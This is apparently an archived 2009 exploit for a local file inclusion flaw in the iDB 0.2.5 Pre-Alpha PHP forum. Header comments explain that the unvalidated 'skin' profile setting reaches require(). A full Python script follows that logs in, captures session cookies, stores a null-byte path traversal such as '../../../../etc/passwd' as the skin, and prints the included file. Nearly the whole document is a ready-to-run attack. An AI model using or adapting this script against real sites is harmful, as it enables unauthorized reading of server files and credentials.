iDB 0.2.5pa Local File Inclusion

`#!/usr/bin/env  
# LOTFREE 2009 - lotfree.next-touch.com  
# Local require() vulnerability in iDB (a PHP/MySQL BBS)  
# Test on version 0.2.5 Pre-Alpha SVN 243 (released March 30, 2009)  
#  
# No checks are made on var "skin" in inc/profilemain.php before saving it to database  
# this value is then require()d in mysql.php as $_GET['theme'] (global var is overwritten) :  
#=> require($SettDir['themes'].$_GET['theme']."/settings.php");  
# so if we set "skin" to (for example) "../../../../../etc/passwd\0" we can get the passwd  
# file content :)  
# skin is saved to mysql as "UseTheme" in table idb_members  
# !! the type is "varchar(26)" so we are limited in injection :( !!  
#  
# Website of iDB : http://idb.berlios.de/ - http://sourceforge.net/projects/freshmeat_idb/  
import urllib, urllib2, sys  
  
print "\tLOTFREE - iDB local PHP file inclusion vulnerability exploit\n"  
if len(sys.argv)!=5:  
print "Usage: python LOTF-iDB.py <forum_root> <local_path_for_inclusion> <login> <password>"  
print "e.g: python LOTF-iDB.py http://localhost/iDB/ ../../../../etc/passwd johndoe s3cr3t"  
print "use python LOTF-iDB.py <forum_root> iDB <login> <password> to restore the default skin"  
sys.exit()  
  
forum_root = sys.argv[1]  
if forum_root[-1]!="/":  
forum_root += "/"  
username = sys.argv[3]  
password = sys.argv[4]  
skin = ""  
if sys.argv[2]=="iDB":  
skin = "iDB"  
else:  
skin = sys.argv[2]+"\0"  
if len(skin)>26:  
print "Path for inclusion must be lower than 27 chars in length due to SQL structure :("  
sys.exit()  
  
print "Logging on the server..."  
qs = {"username":username, "userpass": password, "storecookie": "true", "act": "loginmember"}  
req = urllib2.Request(forum_root+"member.php?act=login_now",urllib.urlencode(qs))  
data = urllib2.urlopen(req)  
cookies = data.headers.getheaders("set-cookie")  
cook = []  
for c in cookies:  
for t in c.split(";"):  
if t.find("=")>0:  
k = t.split("=")[0]  
v = t.split("=",1)[1]  
if k in ["idb_sess", "MemberName", "UserID", "SessPass"]:  
cook.append(k+"="+v)  
cook_str = "; ".join(cook)  
print "Cookie string:",cook_str  
print  
  
  
qs = {"YourOffSet" : "0",  
"MinOffSet" : "00",  
"skin" : skin,  
"RepliesPerPage" : "10",  
"TopicsPerPage" : "10",  
"MessagesPerPage" : "10",  
"DST" : "off",  
"act" : "settings",  
"update" : "now"}  
c_headers = {"Cookie": cook_str, "Referer": forum_root+"profile.php?act=settings"}  
print "Sending payload..."  
req = urllib2.Request(forum_root+"profile.php?act=settings",urllib.urlencode(qs),c_headers)  
urllib2.urlopen(req)  
  
req = urllib2.Request(forum_root+"index.php?act=view",headers=c_headers)  
data = urllib2.urlopen(req).read()  
# if /etc/passwd was included  
if data.find("root:x:0:0:")>=0:  
print data.split("<")[0]  
elif skin=="iDB":  
print "Default skin restored!"  
elif data.find("require")>=0:  
print "Oups... file not found or access forbidden :(\n"  
print data[:200]  
else:  
print "Output:"  
print data  
  
  
`